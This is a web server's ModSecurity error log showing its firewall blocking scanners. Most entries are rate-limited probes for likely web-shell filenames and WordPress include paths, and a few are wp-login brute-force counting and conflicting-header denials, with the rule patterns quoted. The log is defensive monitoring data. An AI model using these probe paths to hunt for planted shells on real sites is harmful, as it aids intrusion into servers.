[Wed Apr 08 21:30:00.134464 2026] [:error] [pid 12453:tid 12472] [client 51.107.217.48:16832] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adZYWBjtW7S6XsLPvrQ_-QAAAJE"]
[Wed Apr 08 21:30:01.756134 2026] [:error] [pid 7047:tid 7069] [client 51.107.217.48:47370] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adZYWeNh3oGO3pKiCzwxLAAAAZQ"]
[Wed Apr 08 21:30:03.816269 2026] [:error] [pid 7189:tid 7210] [client 51.107.217.48:24819] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adZYWxaBqhBSu0L37lringAAAdM"]
[Wed Apr 08 21:30:04.846518 2026] [:error] [pid 7047:tid 7066] [client 51.107.217.48:47193] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adZYXONh3oGO3pKiCzwxOAAAAZE"]
[Wed Apr 08 21:30:05.961496 2026] [:error] [pid 35642:tid 35644] [client 51.107.217.48:47389] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adZYXQ-CqryxdEs5DN9higAAAEA"]
[Wed Apr 08 21:30:07.221434 2026] [:error] [pid 7189:tid 7202] [client 51.107.217.48:43241] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adZYXxaBqhBSu0L37lripgAAAcs"]
[Wed Apr 08 21:30:09.820412 2026] [:error] [pid 12453:tid 12457] [client 51.107.217.48:24799] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adZYYRjtW7S6XsLPvrRABAAAAII"]
[Wed Apr 08 21:30:11.994451 2026] [:error] [pid 64066:tid 64087] [client 51.107.217.48:17039] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adZYY1R3WucJgr2vZGZIagAAAVI"]
[Wed Apr 08 21:30:14.281620 2026] [:error] [pid 7047:tid 7067] [client 51.107.217.48:61520] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "adZYZuNh3oGO3pKiCzwxQwAAAZI"]
[Wed Apr 08 21:30:16.150169 2026] [:error] [pid 12453:tid 12470] [client 51.107.217.48:47172] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "adZYaBjtW7S6XsLPvrRAFgAAAI8"]
[Wed Apr 08 21:30:17.934964 2026] [:error] [pid 12453:tid 12457] [client 51.107.217.48:23193] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "adZYaRjtW7S6XsLPvrRAIwAAAII"]
[Wed Apr 08 21:30:18.780633 2026] [:error] [pid 7189:tid 7213] [client 51.107.217.48:20248] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "adZYahaBqhBSu0L37lrisgAAAdY"]
[Wed Apr 08 21:30:19.886350 2026] [:error] [pid 12453:tid 12472] [client 51.107.217.48:47383] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "adZYaxjtW7S6XsLPvrRAKwAAAJE"]
[Wed Apr 08 21:30:20.772280 2026] [:error] [pid 12453:tid 12479] [client 51.107.217.48:61542] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "adZYbBjtW7S6XsLPvrRAMQAAAJg"]
[Wed Apr 08 21:30:21.492901 2026] [:error] [pid 7189:tid 7214] [client 51.107.217.48:61552] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "adZYbRaBqhBSu0L37lriswAAAdc"]
[Wed Apr 08 21:30:22.188167 2026] [:error] [pid 7047:tid 7071] [client 51.107.217.48:47391] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "adZYbuNh3oGO3pKiCzwxSAAAAZY"]
[Wed Apr 08 21:30:23.239538 2026] [:error] [pid 7189:tid 7191] [client 51.107.217.48:61447] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "adZYbxaBqhBSu0L37lriugAAAcA"]
[Wed Apr 08 21:30:24.118622 2026] [:error] [pid 7047:tid 7062] [client 51.107.217.48:47406] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "adZYcONh3oGO3pKiCzwxTgAAAY0"]
[Wed Apr 08 21:30:25.267498 2026] [:error] [pid 7189:tid 7203] [client 51.107.217.48:20549] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "adZYcRaBqhBSu0L37lrivQAAAcw"]
[Wed Apr 08 21:30:25.954506 2026] [:error] [pid 35642:tid 35648] [client 51.107.217.48:20572] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "adZYcQ-CqryxdEs5DN9hnQAAAEQ"]
[Wed Apr 08 21:30:26.990556 2026] [:error] [pid 12490:tid 12504] [client 51.107.217.48:20275] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "adZYcm1Fea4F4fbumr0JsQAAAMw"]
[Wed Apr 08 21:30:27.655765 2026] [:error] [pid 12386:tid 12426] [client 51.107.217.48:24796] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "adZYcxLhhLtqHi2gK7UfAQAAAQo"]
[Wed Apr 08 21:30:28.434558 2026] [:error] [pid 7047:tid 7054] [client 51.107.217.48:24772] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "adZYdONh3oGO3pKiCzwxWwAAAYU"]
[Wed Apr 08 21:30:29.600286 2026] [:error] [pid 35642:tid 35650] [client 51.107.217.48:24777] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "adZYdQ-CqryxdEs5DN9hpgAAAEY"]
[Wed Apr 08 21:30:30.523571 2026] [:error] [pid 7189:tid 7207] [client 51.107.217.48:17065] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "adZYdhaBqhBSu0L37lriwAAAAdA"]
[Wed Apr 08 21:30:31.507288 2026] [:error] [pid 7189:tid 7212] [client 51.107.217.48:47209] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "adZYdxaBqhBSu0L37lriwQAAAdU"]
[Wed Apr 08 21:30:32.573659 2026] [:error] [pid 64066:tid 64089] [client 51.107.217.48:47091] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "adZYeFR3WucJgr2vZGZIdwAAAVQ"]
[Wed Apr 08 21:30:34.275793 2026] [:error] [pid 7047:tid 7058] [client 51.107.217.48:61558] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "adZYeuNh3oGO3pKiCzwxaAAAAYk"]
[Wed Apr 08 21:30:35.095513 2026] [:error] [pid 7047:tid 7071] [client 51.107.217.48:17025] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "adZYe-Nh3oGO3pKiCzwxcgAAAZY"]
[Wed Apr 08 21:30:35.915979 2026] [:error] [pid 12453:tid 12472] [client 51.107.217.48:47630] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "adZYexjtW7S6XsLPvrRAOgAAAJE"]
[Wed Apr 08 21:30:36.589105 2026] [:error] [pid 64066:tid 64083] [client 51.107.217.48:14018] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "adZYfFR3WucJgr2vZGZIewAAAU4"]
[Wed Apr 08 21:30:37.366743 2026] [:error] [pid 7047:tid 7064] [client 51.107.217.48:17048] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "adZYfeNh3oGO3pKiCzwxggAAAY8"]
[Wed Apr 08 21:30:38.044294 2026] [:error] [pid 7047:tid 7060] [client 51.107.217.48:61539] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adZYfuNh3oGO3pKiCzwxiQAAAYs"]
[Wed Apr 08 21:30:38.918646 2026] [:error] [pid 7047:tid 7069] [client 51.107.217.48:20580] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adZYfuNh3oGO3pKiCzwxjgAAAZQ"]
[Wed Apr 08 23:11:33.167017 2026] [:error] [pid 35642:tid 35646] [client 168.144.39.166:56422] [client 168.144.39.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.144.39.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adZwJQ-CqryxdEs5DN9yUgAAAEI"]
[Wed Apr 08 23:33:41.230998 2026] [:error] [pid 64066:tid 64072] [client 182.42.110.255:36854] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adZ1VVR3WucJgr2vZGaXLAAAAUM"]
[Thu Apr 09 01:13:18.917608 2026] [:error] [pid 22056:tid 22064] [client 101.32.52.164:40908] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adaMrmQ3CidOGkmVXZgi8gAAAMY"]
[Thu Apr 09 04:49:50.046636 2026] [:error] [pid 20641:tid 20646] [client 49.51.253.26:56440] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ada_bm3LksBSF-6rlkZRlQAAAME"]
[Thu Apr 09 05:52:17.093250 2026] [:error] [pid 20535:tid 20559] [client 182.44.12.37:45220] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adbOEQWiD9hWnEUHWdMi9AAAAA8"]
[Thu Apr 09 07:20:08.538902 2026] [:error] [pid 20536:tid 20578] [client 195.201.199.99:45284] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adbiqMPqyUJM1s3YpIY78QAAAEc"]
[Thu Apr 09 07:20:11.331668 2026] [:error] [pid 20641:tid 20657] [client 195.201.199.99:51882] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adbiq23LksBSF-6rlkaSoAAAAMw"]
[Thu Apr 09 07:20:13.893335 2026] [:error] [pid 22627:tid 22638] [client 195.201.199.99:52140] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adbirfr8glsF_jKQpr5LJAAAAQg"]
[Thu Apr 09 07:20:16.543006 2026] [:error] [pid 20537:tid 20618] [client 195.201.199.99:52484] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adbisMSTjpSeyrxLmN4xRgAAAJQ"]
[Thu Apr 09 07:20:19.328436 2026] [:error] [pid 22627:tid 22641] [client 195.201.199.99:52880] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adbis_r8glsF_jKQpr5LPQAAAQs"]
[Thu Apr 09 07:20:21.795350 2026] [:error] [pid 20535:tid 20559] [client 195.201.199.99:53308] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adbitQWiD9hWnEUHWdNYXQAAAA8"]
[Thu Apr 09 07:20:24.459401 2026] [:error] [pid 22627:tid 22654] [client 195.201.199.99:53742] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adbiuPr8glsF_jKQpr5LTAAAARg"]
[Thu Apr 09 07:20:26.960125 2026] [:error] [pid 20641:tid 20664] [client 195.201.199.99:54148] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adbium3LksBSF-6rlkaSugAAANM"]
[Thu Apr 09 07:20:29.496392 2026] [:error] [pid 20641:tid 20650] [client 195.201.199.99:54470] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adbivW3LksBSF-6rlkaSxAAAAMU"]
[Thu Apr 09 07:20:32.160630 2026] [:error] [pid 20535:tid 20555] [client 195.201.199.99:54802] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adbiwAWiD9hWnEUHWdNYfQAAAAs"]
[Thu Apr 09 07:20:34.699527 2026] [:error] [pid 22627:tid 22640] [client 195.201.199.99:55108] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adbiwvr8glsF_jKQpr5LeQAAAQo"]
[Thu Apr 09 07:20:37.198473 2026] [:error] [pid 20537:tid 20608] [client 195.201.199.99:55384] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adbixcSTjpSeyrxLmN4xaQAAAIo"]
[Thu Apr 09 07:20:39.746399 2026] [:error] [pid 20535:tid 20552] [client 195.201.199.99:55670] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adbixwWiD9hWnEUHWdNYlQAAAAg"]
[Thu Apr 09 07:20:42.235592 2026] [:error] [pid 22627:tid 22641] [client 195.201.199.99:55984] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adbiyvr8glsF_jKQpr5LoAAAAQs"]
[Thu Apr 09 07:20:44.876603 2026] [:error] [pid 22627:tid 22653] [client 195.201.199.99:56354] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adbizPr8glsF_jKQpr5LpgAAARc"]
